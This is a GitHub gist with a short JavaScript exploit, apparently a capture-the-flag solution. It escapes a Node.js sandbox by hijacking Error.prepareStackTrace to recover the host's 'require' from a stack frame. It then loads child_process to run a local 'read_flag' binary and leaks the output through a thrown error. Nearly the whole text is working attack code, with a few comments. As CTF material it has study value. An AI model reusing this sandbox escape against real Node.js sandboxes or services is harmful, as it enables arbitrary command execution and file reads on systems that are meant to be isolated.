Skip to content

Instantly share code, notes, and snippets.

@HoLyVieR
Last active January 18, 2016 13:17
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save HoLyVieR/f19387f9531c627ec135 to your computer and use it in GitHub Desktop.
Save HoLyVieR/f19387f9531c627ec135 to your computer and use it in GitHub Desktop.
var getStackframes = function x(a,b,c){function d(e,f){d=f}c=(b=Error)[a='prepareStackTrace'];b.captureStackTrace(b[a]=d,x);d.stack;b[a]=c;return d};
var res = "";
var i = 0;
var require;
// "require" is passed as an arguments to one of the function in the call stack.
getStackframes().forEach(function(frame) {
if (frame.getFunctionName() == null && i++ == 1) {
require = frame.fun.arguments[1];
}
});
var fs = require("fs");
var sys = require("sys");
var exec = require('child_process').exec
// First time, uncomment this line to place the output in a tmp file.
// "execSync" wasn't available and async produced "Timeout".
//exec("./read_flag > /tmp/thatfuckingflag", function (err, stdout, b) { throw new Error(stdout); });
// Second time, read the file with the output flag.
//throw new Error(fs.readFileSync("/tmp/thatfuckingflag"));
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment